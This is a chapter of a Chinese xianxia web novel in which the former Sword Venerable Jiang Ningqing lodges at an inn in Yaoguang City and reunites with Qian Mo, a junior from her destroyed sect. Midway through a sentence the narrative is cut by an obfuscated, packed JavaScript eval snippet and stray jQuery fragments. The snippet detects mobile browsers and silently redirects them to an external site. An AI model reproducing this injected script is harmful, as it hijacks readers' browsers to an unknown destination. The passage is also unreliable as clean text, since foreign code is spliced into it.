三百年过去了,瑶光城依旧如此繁华,现在即将日暮,却依旧车水马龙。
几处店铺已经点了灯,街头的商贩也点了灯,各种奇形怪状的灯笼。
江凝清突然想起,现在大概是快要上元节了。
每次上元节瑶光城人会变得格外多,拥挤地喘不过气来,不过江凝清倒是不讨厌这样的氛围,最起码说明是盛世。
不知道今年上元节比三百年前如何。
江凝清弯眼一笑,便开始找住宿的地方,别的事情都明天再忙吧,这两天真的是忙得都多了。
幸好她从曲堪尘身上顺走了几块碎银,完全可以住瑶光城最好的客栈,然后洗澡沐浴整理一番,躺在舒服的大床上好好睡一觉。
结果……
“客人,真不是我不给你住,主要是这里的客房都预订满了,实在是没有地方。”
江凝清:……
过节就是有这样的坏处,人一多就不好找地方住了。
其实并不完全满了,只是要留出部分房间防止意外,比如什么大人物突然要过来住店。
有些修仙者或者大妖怪整天喊打喊杀的,若是他们来了店里发现没有地方住,保不齐会干出什么事,实在是吓人。
想当年她还是剑尊的时候,只要是叫的出名号的店都得卖她一个面子。她那时候也是有钱,每次结账都是芥子囊里随便掏出几块碎银让人家不用找了,所以店家也都喜欢她光顾。
而且她眉目含情明眸皓齿,迷恋她的男男女女一抓一大把,很多店把她曾经住过曾经吃过当做广告,生意做的特别好。
真的是怀念啊,现在她手里只有干老本行从曲堪尘那里顺来的钱。
她刚想要转身离开,便听到身后传来熟悉的令人头疼的少男声音:
“是救命恩人啊!”
另一个让人头痛的少女的声音随之响起:“啊,是清清仙长欸……”
江凝清扶额,转身看向桑榆和钱孟楠,无奈道:“好巧啊有见面了,你们怎么这么快到这里,傀儡村离此处不算近啊。”
一身金光闪闪的钱孟楠道:“我手里有急行符,还有一日千里符,遁地符,咫尺千里符,随便用一个都可以回家了。”
他挠头傻笑:“出去历练之后,感觉自己确实不是很强,所以只能回家继承家业了。”
江凝清:……
投胎果然是一门技术,如果有下辈子的话,希望她下辈子是一个不愁吃不愁穿的大小姐,每天烧银子玩。
如果是这样她也当不成剑尊了,只能当个整天沾花惹草的纨绔,这样也不错。
桑榆道:“我感觉到这里有你的气息,于是跟着钱孟楠一起来了。”
“这也能感受到?”
桑榆点了点头,道:“直觉。”
江凝清挑眉看她,桑榆却半点不回避,圆圆的杏眼也看向江凝清,眼中黑白澄澈分明。
江凝清笑了笑,随即转头对钱孟楠道:“这是你们家开的店吧能不能让我住一晚上?”
“当……当然可以!”钱孟楠对那个伙计说了几句话,伙计立马给他们几个开出了三间天字房,毕恭毕敬地把他们几个带到楼上。
江凝清一进房间就累倒在床上,她现在用的张二丫的身体,这副身体瘦弱营养不良,她劳累了两天都没有怎么好好休息,加上刚刚使用的千里遁地术,让她身体几乎超负荷了。
她该去换一下身体了,三百年过去了,小花那里应该布局布得差不多了。
江凝清把店小二叫来,道:“把你们这里最好的酒给我送上来,再给我上几道招牌菜,不要吃鱼,其他的都可以吃。”
店小二一听是大生意,脸上喜笑颜开,随即江凝清又补上了一句:“钱记在你们少东家那里。”
店小二:……
算了,这样应该也会有提成拿吧,对他来说谁付钱都是一样的。
不到一柱香的时间,酒菜就全都给江凝清上齐了。
江凝清立马打开那坛子酒喝了一口,露出满足的神色。
她第一次喝酒是在她刚入平明宗的第二天,师姐们带着她和曲堪尘去的八仙楼,让她敞开肚子吃。
钱莱师姐要了几坛子酒,半躺在座椅上笑眯眯问她要不要喝,被禾姝师姐制止住了,说小孩子不应该喝酒。
最后江凝清还是小小地喝了一口,只一口,醇香甘甜回味无穷,感觉浓缩着粮食的精华。江凝清这辈子都没喝过这么奢侈的东西,于是她瞬间就爱上了那个味道。
但是禾师姐坚决不让她喝了,她只好作罢。
再到后来她就整天偷摸着下山去买酒喝,师姐给她的月例不少,她把钱全用在了买酒上面,等到月末手里没钱了就去蹭曲堪尘的饭。
曲堪尘每次都会特意给她留一部分钱,他就知道她存不住钱的。
再到后来……发生了太多的事,她便更沉迷于饮酒以做一时逃避了。
江凝清笑了笑,仰头将那坛子酒一饮而尽,便去夹了一筷子东坡肉。
嗯……好熟悉的味道。
和当时山下那家八仙楼的味道好像,是用的同一个菜谱吗?那家的厨子并不是修仙者,早就老死了,她之后就很少吃到这个味道了。
就在此时她的房门被敲了敲,钱孟楠在门外道:“恩人恩人!我娘说明天来见见你,当面道谢你救了我,还给你准备了一些谢礼,你要不要见一见?”
江凝清听到“谢礼”两个字就开口道:“见啊,当然见,明天什么时候。”
“午时可以吗?到时候一起吃个饭,我娘曾经也是修仙之人,说不定你们有些话题可以聊!”
江凝清道:“可以可以。”
她巳时起床,收拾收拾差不多就午时了,再蹭一顿饭,便该去做正事了,时间刚刚好。
江凝清稍微洗漱了一下,便趴在舒服的大床上,八爪鱼一般抱着半条被子睡下,睡得很沉。
第二天果然是巳时起床,她迷迷瞪瞪揉了揉眼睛,坐在梳妆镜前打算把头发扎好。
之前一直是曲堪尘给她扎头发,入了平明宗偶尔师姐给她扎,再到后来几乎是她自己一个人扎头发了。
感觉老天给人打开一扇门的时候势必要堵
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15895812|175751||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
住一扇窗,她自己扎头发扎了几百年了,也只有右边的头发能梳好,左边的就扎得歪歪扭扭。
不过她当年风头正盛,所以兴起了一阵把头发扎得歪歪扭扭的风气,说是慵懒风。
甚至还有大儒为她辩经,说右边头发扎好象征她出剑凛然正气干脆利落,而左边头发懒散是因为她人生态度随意豁达,从不在乎身外之物。
江凝清当然喜得这样的评价,所以从未反驳过。
她扎头发虽然扎得烂,但是却很快,加上张二丫发丝稀少枯黄,她三下五除二就捣鼓好了,确保它们看起来还不错,不会影响行动。
江凝清走出房门,便看到钱孟楠和一个女子在楼下坐着,那女子看上去和钱孟楠差不多年龄,只是做已婚妇人打扮,慢慢饮茶,举手投足间一种成熟端庄之感。
是钱孟楠的母亲。
江凝清呼吸一窒愣在了原地,她从未想过钱孟楠的母亲是熟人,钱氏中的“钱”是钱默的“钱”。
钱默是钱莱师姐随手在游历的路上捡来的小徒弟,簪缨世族出身,只是从小便想要除魔歼邪救民于水火,硬是和家里切断了联系,改做师姐的姓氏,拜入平明宗。
她跟钱莱师姐学,自然是以笔墨入道,有时候去师姐院子里,经常看到师姐看淫词艳曲看得津津有味,而小小的钱默面无表情地背着“之乎者也”。
之后钱莱师姐去世,钱默便拿了师姐的笔,孑然一身离去,离开前只在平明宗山门前的石头上留下一行字:
“我心匪石不可转也”
江凝清未想过她竟会入世经营起生意来,还成了瑶光城第一富商。
怪不得此地的酒菜有八仙楼的味道,禾姝师姐曾研究出来过八仙楼的菜谱,可惜大部分菜品制作过程太过复杂,师姐懒得做,只是把菜谱给其他人看了看。
她走下楼去,看向钱孟楠身边站着的钱默,扬声问道:“可是钱夫人?”
钱默正色看她,她着严妆,碎发一丝不苟地梳到脑后,脸庞线条分明,颇有凌厉逼人之感。
真的是许久不见,她小时候脸上还有婴儿肥呢。
钱默将茶杯放下,站起身来,双手交叉于胸前一寸处,微微弯腰对江凝清行了个礼:“多谢仙长救犬子一命,犬子性情顽劣,给仙长添乱了。此后仙长在瑶光城的花费均可记在钱氏名下,此芥子囊中有黄金百两,符篆丹药若干,全当时给仙长的谢礼。”
不愧是大户人家,出手就是豪横。
“多谢,解了我燃眉之急了。”
江凝清入座,喝了一口呈上来的酒,道:“此处酒好。”
“自然,取的是平明宗山下的泉水。”
江凝清手指一颤,面上却不动声色,只是笑道:“平明宗?”
钱默手指摩挲茶盏,语气如常:“你不知道也是正常,毕竟平明宗七百年前便灭门了,除了我们这些老人,世上大多不曾知晓平明宗当年何等盛况。”
她继续道:“但是有一人你大概知道。”
钱默那双深邃的眼睛看向江凝清,而后眼睛微微一弯:“霜刃剑尊,江凝清。”